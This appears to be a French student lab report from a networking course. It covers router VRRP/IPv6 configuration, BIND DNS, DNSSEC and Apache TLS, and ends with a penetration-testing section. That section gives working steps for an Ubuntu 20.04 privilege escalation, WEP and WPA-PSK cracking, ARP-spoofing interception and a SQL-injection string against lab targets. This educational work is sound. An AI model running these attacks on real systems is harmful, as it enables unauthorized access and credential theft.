&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
